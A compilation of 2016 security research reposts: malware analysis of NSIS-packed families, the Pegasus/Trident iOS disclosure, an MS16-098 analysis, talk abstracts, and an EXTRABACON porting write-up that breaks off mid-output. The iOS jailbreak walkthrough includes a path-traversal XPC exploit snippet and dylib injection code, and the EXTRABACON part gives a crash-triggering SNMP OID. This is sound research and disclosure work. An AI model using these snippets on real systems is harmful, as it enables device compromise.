Nytro

Malware Hides in Installer to Avoid Detection By Satish Chimakurthi on Aug 25, 2016 At McAfee Labs we recently observed various threat families using the Nullsoft Scriptable Install System (NSIS). This practice is not new, but our analysis shows that several malware families are employing the same technique to hide their packed executable code. Usually every malware family uses its own polymorphic packers to obfuscate its payload. In this case four families have the same executable format to hide the malicious code. The malicious NSIS package contains a DLL (acting as a decryptor and injector) and an encrypted executable payload. Once onboard an infected machine, the NSIS package drops a DLL and two data files and loads the DLL. The DLL decrypts the two data files and executes the final payload using process hollowing, a technique used by malware in which the original code is replaced with malicious code. If we were to analyze the DLL alone, we would not conclude that it was malicious because it relies on encrypted data in the two data files. We found four malware families using this technique: Cerber Gamarue Kovter ZCrypt Propagation The malware are distributed via spam campaigns: A ZIP archive contains the executable: NSIS file identification The start of the overlay+8 offset contains the “NullsoftInst” string: Malicious NSIS package The sample we analyzed has the following components inside the NSIS package. e: Data file contains encrypted APIs used for process hollowing. fsv: Data file contains the final encrypted payload. dll: Malicious DLL decrypts data files and executes the process hollowing. The encrypted data file geanticline.e: The decrypted geanticline.e: The encrypted payload (tache.fsv): The decrypted payload: Decryption code for process hollowing APIs Code in OpenCandy.dll decrypts both data files. The following code accesses the files: The decryption key that unlocks the data file lies in the data filename itself. The decryption logic appears in the following screen: An XOR operation decrypts the data file. Decryption code for payload We found the decryption key resides inside the DLL and varies among the malware families. Decryption key location: Decryption code: Decryption logic for process hollowing We employed python to write the decryption logic used by the malware. The encrypted data file path should be passed as an argument. For each malware family, the value of MAXKEYINDEX can be changed or be equal to KEYLEN. Decryption logic for payload Evading security products Because the malicious payload and APIs are in encrypted and do not fall under any specific file formats, antimalware scanners will usually omit scanning these files. They also act as efficient hash busters and easily bypass emulation techniques. When these files are copied into other directories, the malware keep the NSIS file format to strengthen their defense. We also noticed that the decryption logic varies slightly among the malware. MD5 hash: 5AF3BED65AEF6F0113F96FD3E8B67F7A I would like to thank my colleagues Sivagnanam G N and Manjunatha Shankaranarayana for their help with this analysis. Sursa: https://blogs.mcafee.com/mcafee-labs/malware-hides-in-installer-to-avoid-detection/

August 25, 2016 Sophisticated, persistent mobile attack against high-value targets on iOS By Lookout and Citizen Lab 0 Comments Persistent, enterprise-class spyware is an underestimated problem on mobile devices. However, targeted attack scenarios against high-value mobile users are a real threat. Citizen Lab (Munk School of Global Affairs, University of Toronto) and Lookout have uncovered an active threat using three critical iOS zero-day vulnerabilities that, when exploited, form an attack chain that subverts even Apple’s strong security environment. We call these vulnerabilities “Trident.” Our two organizations have worked directly with Apple’s security team, which was very responsive and immediately fixed all three Trident iOS vulnerabilities in its 9.3.5 patch. All individuals should update to the latest version of iOS immediately. If you’re unsure what version you’re running, you can check Settings > General > About > Version. Lookout will send an alert to a customer’s phone any time a new update is available. Lookout’s products also detect and alert customers to this threat. Trident is used in a spyware product called Pegasus, which according to an investigation by Citizen Lab, is developed by an organization called NSO Group. NSO Group is an Israeli-based organization that was acquired by U.S. company Francisco Partners Management in 2010, and according to news reports specializes in “cyber war.” Pegasus is highly advanced in its use of zero-days, obfuscation, encryption, and kernel-level exploitation. We have created two reports that discuss the use of this targeted attack against political dissidents and provide a detailed analysis of the malicious code itself. In its report, Citizen Lab details how attackers targeted a human rights defender with mobile spyware, providing evidence that governments digitally harass perceived enemies, including activists, journalists, and human rights workers. In its report, Lookout provides an in-depth technical look at the targeted espionage attack that is actively being used against iOS users throughout the world. The overview Ahmed Mansoor is an internationally recognized human rights defender and a Martin Ennals Award Laureate (sometimes referred to as a “Nobel prize for human rights”), based in the United Arab Emirates (UAE). On August 10th and 11th, he received text messages promising “secrets” about detainees tortured in UAE jails if he clicked on an included link. Instead of clicking, Mansoor sent the messages to Citizen Lab researchers. Recognizing the links as belonging to an exploit infrastructure connected to NSO group, Citizen Lab collaborated with Lookout to determine that the links led to a chain of zero-day exploits that would have jailbroken Mansoor’s iPhone and installed sophisticated malware. This marks the third time Mansoor has been targeted with “lawful intercept” malware. Previous Citizen Lab research found that in 2011 he was targeted with FinFisher spyware, and in 2012 with Hacking Team spyware. The use of such expensive tools against Mansoor shows the lengths that governments are willing to go to target activists. Citizen Lab also found evidence that state-sponsored actors used NSO’s exploit infrastructure against a Mexican journalist who reported on corruption by Mexico’s head of state, and an unknown target or targets in Kenya. The NSO group used fake domains, impersonating sites such as the International Committee for the Red Cross, the U.K. government’s visa application processing website, and a wide range of news organizations and major technology companies. This nods toward the targeted nature of this software. The Pegasus spyware Pegasus is the most sophisticated attack we’ve seen on any endpoint because it takes advantage of how integrated mobile devices are in our lives and the combination of features only available on mobile — always connected (WiFi, 3G/4G), voice communications, camera, email, messaging, GPS, passwords, and contact lists. It is modular to allow for customization and uses strong encryption to evade detection. Lookout’s analysis determined that the malware exploits three zero-day vulnerabilities, or Trident, in Apple iOS: CVE-2016-4655: Information leak in Kernel – A kernel base mapping vulnerability that leaks information to the attacker allowing him to calculate the kernel’s location in memory. CVE-2016-4656: Kernel Memory corruption leads to Jailbreak – 32 and 64 bit iOS kernel-level vulnerabilities that allow the attacker to silently jailbreak the device and install surveillance software. CVE-2016-4657: Memory Corruption in Webkit – A vulnerability in the Safari WebKit that allows the attacker to compromise the device when the user clicks on a link. The attack sequence, boiled down, is a classic phishing scheme: send text message, open web browser, load page, exploit vulnerabilities, install persistent software to gather information. This, however, happens invisibly and silently, such that victims do not know they’ve been compromised. In this case, the software is highly configurable: depending on the country of use and feature sets purchased by the user, the spyware capabilities include accessing messages, calls, emails, logs, and more from apps including Gmail, Facebook, Skype, WhatsApp, Viber, FaceTime, Calendar, Line, Mail.Ru, WeChat, SS, Tango, and others. The kit appears to persist even when the device software is updated and can update itself to easily replace exploits if they become obsolete. We believe that this spyware has been in the wild for a significant amount of time based on some of the indicators within the code (e.g., a kernel mapping table that has values all the way back to iOS 7). It is also being used to attack high-value targets for multiple purposes, including high-level corporate espionage on iOS, Android, and Blackberry. To learn more Our reports provide in-depth information about the threat actor as well as their software and the vulnerabilities exploited — Citizen Lab has tracked the actor’s political exploits around the world, while Lookout has focused on the technical details of the malware from the beginning of the exploit chain to its use. Our reports include detailed analysis of the Trident iOS vulnerabilities that are patched in the 9.3.5 release from Apple, as well as the various components of the espionage software. Lookout customers: Read this document on how to tell if you’re impacted by this attack. Think you’ve encountered a suspicious link such as the ones described above? Email support@lookout.com. Research teams: Citizen Lab: Bill Marczak and John Scott-Railton, Senior Fellows Lookout: Max Bazaily, Andrew Blaich, Kristy Edwards, Michael Flossman, Seth Hardy, Staff Security Researchers, Mike Murray, VP of Security Research Read more: Sophisticated, persistent mobile attack against high-value targets on iOS (https://blog.lookout.com/blog/2016/08/25/trident-pegasus/)

What is the jailbreak for iOS 9.3.3 actually doing? – Part 1 Friday 26 August 2016/by James Shanahan Many people who jailbreak their devices are unaware of the vulnerabilities being exploited in order to gain privileged access to the underlying iOS operating system. Users typically jailbreak devices in order to install applications that have not undergone Apple’s software evaluation process. This post will explore the low level mechanics of the iOS 9.3.3 jailbreak as an educational case study. There are many restrictions in place that are enforced for applications and users. A Jailbreak ultimately requires a bug in the kernel that can be exploited. Restrictions include KASLR, SMAP, KPP and the App Sandbox. In order to gain access to the kernel, there are typically multiple software flaws and misconfigurations that must be leveraged, which then leads to access as a privileged and unrestricted user. Overview of iOS Security Architecture Below is a high level diagram of the iOS Security Architecture that demonstrates security controls that are in place between the hardware/firmware and software. ios security architecture The App Sandbox is desinged to ensure that apps are doing what they’re supposed to do. It is also there to protect applications from unintential bugs that may be introduced through flaws in the code or inherited from a framework. Contrary to an application without App Sandbox, an application with App Sandbox limits the resources on a per app basis to protect from such flaws. App Sandbox is there as a last line of defenese against varrious attacks that can be utlized to gain access, delete, or corrupt data pertaining to the targeted application. The image below depicts how an application is protected using the App Sandbox. With and without App sandbox XPC XPC is an advanced framework that is built on Mach messages and simplifies low level Inter-process Communication (IPC). XPC allows communication between Application and System services. These messages are passed between an XPC Server and XPC Client. XPC is widely used by system frameworks and first-party applications. You can run the following command to survey the inventory of XPC services that are on a given iOS or OS X system: find /Applications -name \*.xpc Exploiting Userland vulnerability in assetsd via XPC message Now we understand some of the various technologies used to mitigate certain issues targeting iOS applications, as well as some of those that will be used as an exploit vehicle to trigger Userlandcode execution. Let’s take a look at how the iOS 9.3.3 Jailbreak works under the hood. A vulnerability exists in assetsd that allows files and directories to me moved to a new location. In iOS 9.3.3 container apps can communicate with a service provided by /System/Library/Frameworks/AssetsLibrary.framework named com.apple.PeristentURLTranslator.Gatekeepervia XPC. There is a method that allows a user to move a specified file or directory in/var/mobile/MEDIA/DCIM. The problem is that srcPath and destSubdir are derived from user input retrieved in XPC messages which lack validation. It is possible to use commonly known path traversal tricks such as ../ in the srcPath and destSubdir parameters which lead to arbitrary file reads/writes as the iOS mobile user. This is what a sample XPC message that triggers the issue in assetsd would look like: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // code snippet – thx Pangu xpc_connection_t client = xpc_connection_create_mac_service("com.apple.PersistentURLTranslator.Gatekeeper", NULL, 0); xpc_connection_set_event_handler(client, ^void(xpc_object_t_response) { }); xpc_connection_resume(client); xpc_object_t_ dict = xpc_dictionary_create(NULL, NULL, ); NSString *dstPATH = [@"../../../../../../../" stringByAppendingPathCompnent:dest]; xpc_dictionary_set_string(dict, "srcPath", [src UTF8String]); xpc_dictionary_set_string(dict, "destSubdir", [dstPath UTF8String]); xpc_dictionary_set_int64(dict, "transactionID", 4); xpc_dictionary_set_int64(dict, "operation", 4); xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict); The issue is triggered on line 10. Utilizing dyld (Dynamic Linker) to Get Arbitrary Code Execution To inject a dylib into a system process, an attacker can utilise the DYLD_INSERT_LIBRARIESenvironment variable, but the executable must have the get-task-allow entitlement. The Pangu team checked all executables in iOS 9 and did not identify one that had the get-task-allowentitlement. They were excited to find that the developer disk images (DDI) did allow this by running the following command: codesign -d --entitlements - .//usr/libexec/vpnagent That command above produces the following output which proves that vpnagent has the entitlement needed: 1 2 3 4 <plist version=1.0> <dict> <key>get-task-allow</key> <true/> In order to make this executable, the old Developer Disk Image (DDI) that contains vpnagentshould be mounted. Even though a failure will occur, MobileStorageMounter will register the trustcache hash values for executables which is signed by Apple. MobileStorageMounter will then notify the kernel that vpnagent is a platform binary without creating any code signing failures on iOS 9. The kernel enforces the sandbox profile for a particular executable in a couple of different ways. First, the default container sandbox profile will be applied if the vpnagent executable is located in/private/var/mobile/Containers/Data/. If the executable is located somewhere else on the system, the kernel will apply the seatbelt-profile, which is specified in the executable’s signature segment. A sample of what one may look like is as follows: 1 2 3 4 (version 1) (debug allow) (allow process*) (deny default) Enabling Debugging In order to enable debug server on iOS 9 a normal DDI should be mounted. Utilizing assetsd Path Traversal XPC Vulnerability to Execute Arbitrary Code The next step is to send a specifically crafted XPC message to exploit a path traversal vulnerability inassetsd to move the vpnagent from the DDI to a place that the debugserver has access to. Once the executable is moved to a path outside of /private/var/mobile/Containers/Data, the sandbox seatbelt-profile will be applied. This will ensure that the kernel does not apply the default sandbox profile. Putting the VPN Agent in Debug Mode and Performing Code Injection Once this has been performed, the debugserver will allow a process with the get-task-allowentitlement to continually run even if code signing invalidation occurs. A dylib can now be injected using the DYLD_INSERT_LIBRARIES environment variable. DYLD_INSERT_LIBRARIES is very similar to LD_PRELOAD on Linux. The signature of a system binary should be used when loading the dylib so that the kernel will believe that the vpnagent is loading an iOS 9 system binary. Below is sample code that demonstrates simple code injection on OS X: #import "ACCalculatorOverrides.h" #include <stdio.h> #include <objc/runtime.h> #include <Foundation/Foundation.h> #include <AppKit/AppKit.h> static IMP sOriginalImp = NULL; @implementation ACCalculatorOverrides +(void)load { // We replace the method -[CalculatorController showAbout:] with the method -[ACCalculatorOverrides patchedShowAbout:] Class originalClass = NSClassFromString(@"CalculatorController"); Method originalMeth = class_getInstanceMethod(originalClass, @selector(showAbout:)); sOriginalImp = method_getImplementation(originalMeth); Method replacementMeth = class_getInstanceMethod(NSClassFromString(@"ACCalculatorOverrides"), @selector(patchedShowAbout:)); method_exchangeImplementations(originalMeth, replacementMeth); } -(void)patchedShowAbout:(id)sender { // We first call the original method to display the original About Box sOriginalImp(self, @selector(showAbout:), self); // Run our custom code which simply display an alert NSAlert *alert = [NSAlert alertWithMessageText:@"Code has been injected!" defaultButton:@"OK" alternateButton:nil otherButton:nil informativeTextWithFormat:@"The code has been injected using DYLD_INSERT_LIBRARIES into Calculator.app"]; [alert runModal]; } @end The following command will build this dynamic library: gcc -framework AppKit -framework Foundation -o CalculatorOverrides.dylib -dynamiclibACCalculatorOverrides.m The final step is to inject it into the application: DYLD_INSERT_LIBRARIES=/PATH_TO/CalculatorOverrides.dylib/Applications/Calculator.app/Contents/MacOS/Calculator &amp; This will result in the following: Performing code injection using dylib As shown above, an alert box was injected. This will be utilised in a similar fashion to exploit the next series of vulnerabilities that will allow a user gain access to the device as a privileged user. Conclusion Most users are unaware that Jailbreaking devices requires the exploitation of security flaws and configuration weaknesses that exist on a particular version of iOS or an application running on their device. These same vulnerabilities can be exploited by those with real malicious intent. Even then, considering the Jailbreak teams do not provide complete source and steps required to jailbreak, it is hard to tell everything that they may be doing. Further details will be covered in the next blog post. [Part 2 – To be Continued] References Pangu Internals – https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf Jonathan Levin. (2013). Mac OS X and iOS Internals. New York, NY: John Wiley & Sons Amit Sing. (2007). Mac OS X Internals. New York, NY: Addison-Wesley Jailbreak Exploits – https://www.theiphonewiki.com/wiki/Jailbreak_Exploits iOS Security – iOS 9.3 or later – https://www.apple.com/business/docs/iOS_Security_Guide.pdf Compromising IDEVICES via Airdrop – https://2015.ruxcon.org.au/assets/2015/slides/ruxcon-2016-dowd.pptx Simple code injection using DYLD_INSERT_LIBRARIES environment variable –http://blog.timac.org/?p=761 App Sandboxing – https://developer.apple.com/app-sandboxing/ osx dylib injection – https://github.com/scen/osxinj Sursa: https://labs.nettitude.com/blog/what-is-the-jailbreak-for-ios-9-3-3-actually-doing-part-1/

An Analysis of MS16-098 / ZDI-16-453 Published On August 25th, 2016 | By Steiner This past patch Tuesday, Microsoft released MS16-098, a patch for multiple vulnerabilities in “Kernel-Mode Drivers”. Within this patch, the vulnerability identified as CVE-2016-3308 andZDI-16-453 was addressed. This post is an analysis of this vulnerability and how it could potentially be leveraged by an attacker in the form of a Local Privilege Escalation (LPE) exploit. MS16-098 xxxInsertMenuItem Diff The vulnerability exists within the function win32k!xxxInsertMenuItem and how it handles reallocations of memory. This function is responsible for adding items to menus that are displayed to users. Menu items that are being added to a menu can be inserted either based on a position or an existing menu items identifier. This difference is explained in the documentation provided by Microsoft for the InsertMenuItem function. Additionally when a new menu is created, it has no storage for it’s menu items. It is not until an initial item is added to the menu that item storage is allocated. On Windows 7 x64, this allocation is done 8 items at a time resulting in the 2nd through the 8th item added to the menu not requiring a reallocation of space. When a 9th, 17th, etc. item is added to the menu, a reallocation is triggered in order to be able to accommodate the additional item. After this occurs, and the memory allocation is successful, win32k!xxxInsertMenuItem callswin32k!MNLookUpItem a second to get the item’s location in the newly allocated space. The vulnerability in question can be triggered when the item returned from the second invocation of win32k!MNLookUpItem does not exist in the same menu as the first. Thewin32k!MNLookUpItem function recursively searches the menu structure, it’s items and the submenus optionally associated with those items. In order to force the second call to return an item from a different menu than the first call a parameter needs to be changed between the two function call. The prototype for this function looks roughly like: PITEM MNLookUpItem(PMENU pMenu, UINT uItem, BOOL fByPosition, PMENU *pMenuOut);. The first three parameters are required, while the 4th parameter is an optional pointer to a location to store the menu object for which the item returned is associated with. Under non-exploit conditions the value of pMenu is written to pMenuOut, the change introduced in this patch checks that this is the case and exits before harm can be done to the system. In order to trigger the desirable code path, an attacker needs to create a menu along with a submenu. The submenu requires a single item with wID set to 1 for reasons outlined later. This submenu is referenced in an item that is added to the top level menu with a specific arbitrary wID. The top level menu is then populated with 7 additional items with additional unique wID values to fill it’s allocated space. To trigger the vulnerability the attacker calls theNtUserThunkedMenuItemInfo function to add a 9th item with the wID specified as the submenu. The first call to win32k!MNLookUpItem in win32k!xxxInsertMenuItemidentifies the submenu item and returns the toplevel menu in which it resides. Before the reallocation takes place, a check on the submenu item’s pItem->hbmpItem field takes place. If this field is set to HBMMENU_SYSTEM, then the value compared with wID is updated to 1. This change is leveraged by the attacker to cause the second call to win32k!MNLookUpItem to identify the submenu’s item (who’s wID was explicitly set to 1) and return the submenu instead of the original top level menu. Under exploitation conditions, the item returned by the second call to win32k!MNLookUpItem is in a different menu than what was originally assumed. This causes an out-of-bounds read to occur when a subsequent call to memmove uses pointer arithmetic to copy and overwrite a potentially excessively large block of memory. The call to memmove is roughly equivalent tomemmove(&pItem[1], pItem, &pMenu->rgItems[0] + (sizeof(ITEM) * pMenu->cItems - (QWORD)pItem). The pointer arithmetic assumes that the PITEM returned is in the array pointed to by pMenu->rgItems. Reliable exploitation of this vulnerability would require the user to be able to limit the memory passed to memmove to avoid triggering a violation by corrupting memory stored after pItem. Assuming the size of memmove were limited, and pItem were the last item in the array pointed to by pMenu->rgItems, it is feasible that an attacker could leverage the memmove operation to write up to sizeof(win32k!tagITEM) bytes (0x90 on Windows 7 SP1 x64) past the region allocated for the array. An attacker can leverage the HANDLEENTRY structs within the shared region to identify the location in Kernel memory of the win32k!tagMENU struct, however to accurately predict the parameters of the memmove call, the attacker would need to know the value of the rgItems field within this struct. A proof of concept for this vulnerability which triggers a BSOD on Windows 7 SP1 x64 can be found here. Sursa: https://warroom.securestate.com/an-analysis-of-ms16-098/

Index of /materials/sg2016 Name Last modified Size Description Parent Directory - COMMSEC D1 - Michael Gianarakis - Reverse Engineering Swift Applications.pdf 2016-08-25 10:02 2.0M COMMSEC D1 - Sanoop Thomas - Halcyon IDE.pdf 2016-08-25 10:02 501K COMMSEC D1 - Sweety Chauhan - Data Driven Software Security.pdf 2016-08-25 08:39 1.4M COMMSEC D2 - Alfonso De Gregorio - A Code of Ethics for the Private Sector.pdf 2016-08-26 09:46 17M COMMSEC D2 - Florian Lukavsky - Fake Presidents Fraud Defrauded.pdf 2016-08-26 09:37 1.5M COMMSEC D2 - Tan Kean Siong - IoT Honeypots.pdf 2016-08-26 10:57 5.0M COMMSEC D2 - Vanessa Henderson - Copy-paste Vulnerabilities.pdf 2016-08-26 08:26 327K D1 - Adam Donenfeld and Yaniv Mordekhay - Stumping The Mobile Chipset.pdf 2016-08-26 05:30 4.1M D1 - Bernhard Mueller - Attacking Software Tokens.pdf 2016-08-25 08:30 44M D1 - Jonathan Levin - The Apple Sandbox - Deeper into the Quagmire.pdf 2016-08-25 10:05 1.8M D1 - Moonbeom Park and Youngjun Park - Understanding Your Opponent Attack Profiling.pdf 2016-08-25 07:45 1.5M D1 - Nguyen Anh Quynh - Keystone - A Next Generation Assembler Framework.pdf 2016-08-25 11:28 1.8M D1 - Olga Kochetova and Alexey Osipov - ATMs and Their Dirty Little Secrets.pdf 2016-08-25 12:02 1.9M D1 - Peter Pi - Attacking NVIDIA's Tegra Platform.pdf 2016-08-25 07:48 726K D2 - Koh Yong Chuan - Fuzzing the Windows Kernel.pdf 2016-08-26 05:18 2.0M D2 - Matteo Beccaro and Matteo Collura - Abusing Smart Cities.pdf 2016-08-26 06:16 19M D2 - Moritz Jodeit -Look Mom I Don't Use Shellcode.pdf 2016-08-26 11:11 2.0M D2 - Shlomi Oberman and Ron Shina - Breaking Exploits with Practical Control Flow Integrity.pdf 2016-08-26 08:39 3.8M D2 - Stefan Esser - iOS 10 Kernel Heap Revisited.pdf 2016-08-26 10:57 3.6M KEYNOTE 1 - Erin Jacobs - I Fight For the Users .pdf 2016-08-25 03:50 61M KEYNOTE 2 - Katie Moussouris - Hacking the Pentagon - Bounty Creation Lessons - NO SLIDES.pdf 2016-08-26 05:20 0 whitepapers/ 2016-08-26 11:11 - Link: http://gsec.hitb.org/materials/sg2016/

Behind the Scenes of iOS Security Publicat pe 16 aug. 2016 by Ivan Krstic With over a billion active devices and in-depth security protections spanning every layer from silicon to software, Apple works to advance the state of the art in mobile security with every release of iOS. We will discuss three iOS security mechanisms in unprecedented technical detail, offering the first public discussion of one of them new to iOS 10. HomeKit, Auto Unlock and iCloud Keychain are three Apple technologies that handle exceptionally sensitive user data – controlling devices (including locks) in the user's home, the ability to unlock a user's Mac from an Apple Watch, and the user's passwords and credit card information, respectively. We will discuss the cryptographic design and implementation of our novel secure synchronization fabric which moves confidential data between devices without exposing it to Apple, while affording the user the ability to recover data in case of device loss. Data Protection is the cryptographic system protecting user data on all iOS devices. We will discuss the Secure Enclave Processor present in iPhone 5S and later devices and explain how it enabled a new approach to Data Protection key derivation and brute force rate limiting within a small TCB, making no intermediate or derived keys available to the normal Application Processor. Traditional browser-based vulnerabilities are becoming harder to exploit due to increasingly sophisticated mitigation techniques. We will discuss a unique JIT hardening mechanism in iOS 10 that makes the iOS Safari JIT a more difficult target.

Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable Publicat pe 16 aug. 2016 by Tom Nipravsky Malware developers are constantly looking for new ways to evade the detection and prevention capabilities of security solutions. In recent years, we have seen many different tools, such as packers and new encryption techniques, help malware reach this goal of hiding the malicious code. If the security solution cannot unpack the compressed or encrypted malicious content (or at least unpack it dynamically), then the security solution will not be able to identify that it is facing malware. To further complicate the matter, we present a new technique for hiding malware (encrypted and unencrypted) inside a digitally signed file (while still keeping the file with a valid certificate) and executing it from the memory, using a benign executable (which acts as a reflective EXE loader, written from scratch). Our research demonstrates our Certificate Bypass tool and the Reflective EXE Loader. During the presentation, we will focus on the research we conducted on the PE file structure. We will take a closer look at the certificate table and how we can inject data to the table without damaging the certificate itself (the file will still look and be treated as a valid digitally signed file). We will examine the tool we wrote to execute PE files from memory (without writing them to the disk). We will cover the relevant fields in the PE structure, as well as the steps required to run a PE file directly from the memory without requiring any files on disk. Last, we will conclude the demonstration with a live example and show how we bypass security solutions based on the way they look at the certificate table.

HEIST: HTTP Encrypted Information can be Stolen Through TCP-Windows Publicat pe 16 aug. 2016 by Tom Van Goethem & Mathy Vanhoef Over the last few years, a worryingly number of attacks against SSL/TLS and other secure channels have been discovered. Fortunately, at least from a defenders perspective, these attacks require an adversary capable of observing or manipulating network traffic. This prevented a wide and easy exploitation of these vulnerabilities. In contrast, we introduce HEIST, a set of techniques that allows us to carry out attacks against SSL/TLS purely in the browser. More generally, and surprisingly, with HEIST it becomes possible to exploit certain flaws in network protocols without having to sniff actual traffic. HEIST abuses weaknesses and subtleties in the browser, and the underlying HTTP, SSL/TLS, and TCP layers. Most importantly, we discover a side-channel attack that leaks the exact size of any cross-origin response. This side-channel abuses the way responses are sent at the TCP level. Combined with the fact that SSL/TLS lacks length-hiding capabilities, HEIST can directly infer the length of the plaintext message. Concretely, this means that compression-based attacks such as CRIME and BREACH can now be performed purely in the browser, by any malicious website or script, without requiring network access. Moreover, we also show that our length-exposing attacks can be used to obtain sensitive information from unwitting victims by abusing services on popular websites. Finally, we explore the reach and feasibility of exploiting HEIST. We show that attacks can be performed on virtually every web service, even when HTTP/2 is used. In fact, HTTP/2 allows for more damaging attack techniques, further increasing the impact of HEIST. In short, HEIST is a set of novel attack techniques that brings network-level attacks to the browser, posing an imminent threat to our online security and privacy.

Technical Analysis of Pegasus Spyware An Investigation Into Highly Sophisticated Espionage Software Contents Executive Summary Background Disclosure Timeline Attack Overview Professional Grade Development Evolution of Software The Trident Vulnerabilities CVE-2016-4655: Memory Corruption in Safari Webkit CVE-2016-4656: Kernel Information Leak Circumvents KASLR CVE-2016-4657: Memory Corruption in Kernel leads to Jailbreak Jailbreak Persistence Spyware Analysis Installation and Persistence Persistence: JSC Privilege Escalation Disabling Updates Jailbreak Detection Device Monitoring Stealth Update to Command & Control Infrastructure Self Destruction Data Gathering Calendar Contacts GPS location Capturing User Passwords WiFi and Router Passwords Interception of Calls and Messages Process Injection: converter Skype Telegram WhatsApp Viber Real-Time Espionage Conclusion Download: https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf

Apple iOS users, update now – zero-day attack seen in the wild 26 AUG 2016 0Apple, iOS, Vulnerability Previous: Anatomy of a cryptographic collision – the “Sweet32” attack by Paul Ducklin Apple just released iOS 9.3.5, the latest security update for iDevice users. We suggest you apply this update as soon as you can, and here’s why. According to Apple’s security bulletin, it fixes three security holes along these lines: WebKit bug: visiting a maliciously crafted website may lead to arbitrary code execution. Kernel bug: an application may be able to disclose kernel memory. Kernel bug: an application may be able to execute arbitrary code with kernel privileges. You can imagine how these three vulnerabilities could be combined into a serious exploit, where visiting a booby-trapped website might not only infect you with user-level malware, but also go on from there to promote itself to gain kernel-level superpowers. The security built into iOS does a great job of keeping apps apart, so user-level malware is limited in what it can do: if you have a rogue GPS app, for example, it shouldn’t be able to reach across to your authenticator app and steal its cryptographic secrets. Nevertheless, a rogue GPS app would be bad enough on its own, as it could keep track of you when you weren’t expecting it. But if that rogue GPS app could also sneak itself into the iOS kernel, where the security checks and balances that keep apps apart are managed, then you’d have a lot more to worry about. Loosely speaking, malware than could arrive just by clicking a web link and then boost itself automatically to kernel level would effectively be a “one-click jailbreak.” A jailbreak is where you sneakily bypass the very security controls that are supposed to stop you bypassing the security controls, so you no longer have to play by Apple’s security rules. Notably, you are no longer restricted to the App Store, so you can follow up a jailbreak by installing whatever software you like. Well, reports suggest that just such a one-click jailbreak has been reported in the wild: Gizmodoclaims that the attack was created by an Israeli company called NSO Group that sells exploits and hacking services. Ironically, iOS 9.3.4 came out just three weeks ago, and that update also seems to have been hurried out to close a hole that was ostensibly being used for jailbreaking. Interestingly, another exploit-gathering company, Zerodium, last year famously offered up to $3,000,000 in bounty money for a trifecta of iOS “click-to-own” bugs, as they’re often called, and later claimed that just before the bounty expired, they’d received a bug submission that could be used for jailbreaking. Did that bug exist, and was it one of the three that were patched in the latest 9.3.5 update? We don’t know, but whether it was or wasn’t, you should get yourself the latest patches right away. Go to Settings | General | Software Update and see what version you’re on right now. Annoyingly, even though the update is just 39.5MB, you have to update via Wi-Fi. As usual, no updates are allowed via the mobile network. For urgent updates of this sort, it really would be handy for Apple to relax that restriction, especially when you think that you could just stick your SIM card in another phone, turn it into an access point, and update using the mobile network as your carrier anyway. Follow @NakedSecurity Follow @duckblog Sursa: https://nakedsecurity.sophos.com/2016/08/26/apple-ios-users-update-now-zero-day-attack-seen-in-the-wild/

Bake your own EXTRABACON August 25, 2016 In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON, leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities. We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA. Meet Cisco ASA Cisco Adaptive Security Appliance (ASA) is a widely adopted network security appliance that – besides standard packet filtering capabilities –, also provides a portfolio of “smart”, application level features such as L7 protocol inspection or VPN. Presumably this complex feature set was one of the motivators for Cisco to choose 32-bit x86 CPUs for their implementation. According to the vendor homepage there are more than 1 million devices deployed around the world. The wide deployment, well understood architecture and the complex (thus likely bug rich) feature set makes Cisco ASA a hacker’s wet dream. It’s no surprise that several teams have done extensive research on the platform – among these the recent work of Exodus Intelligence and Alec Stuart’s Breaking Bricks presentation were the most inspirational for us, we highly recommend to take a good look at these before moving on! The test lab To start up with ASA it’s best to have some actual hardware. Fortunately ASA 5505 boxes can be found relatively cheaply on online auction sites. The different appliance versions have different size of internal persistent storage that limits the size of the firmware that can be uploaded, but the one available in 5505 is enough to test the 9.2 line that we are mostly interested in right now. When your little greenish(?) friend arrives you’ll probably won’t have a clue about its configuration so you should establish a serial connection that gives you opportunity to reset the configuration and access the console without a password. For this you’ll need a Cisco console cable (RJ45-to-DB9), and an RS232-USB converter – all available on your favorite online shop. With these you can connect the Console port of the device to the USB port on your workstation. On Linux you can use minicom to connect to the console, connection parameters are: 9600 baud Parity: 8N1 After you’re connected you can check the firmware version and configure the device. For our purposes it’s important to configure your interfaces for IP networking, enable SSH and SNMP (don’t forget to enable traffic in the access-list!) – you should consult the official Cisco documentation about how to do this. To install new firmware, you first need the matching firmware binary. Several versions can be found on the Internet with some smart googling, the name of the image file for version 9.2(4) is asa924-k8.bin. New firmware can be uploaded to the internal flash memory of the device via SCP: scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin The boot order can then be configured according to this manual. With the preferred firmware version and the serial connection you can already verify the memory corruption exploited by EXTRABACON by sending a long SNMP OID like: 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144 This will likely result in an access violation that results in some basic debug information dumped on the serial console. This is nice, but you probably want to interactively debug your nice new target, let’s see how! Remote debugging To configure remote debugging we followed the guidelines of Alec Stuart (see the link above), here we now just give a quick overview of the process. ASA runs a Linux-like operating system where a large monolithic ELF binary called lina is responsible for handling (almost) all data coming through in task specific threads. The firmware image contains the root file system with all binaries and configuration files – you can extract this with binwalk: $ binwalk -e asa924-k8.bin DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 514 0x202 LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes 144510 0x2347E gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression 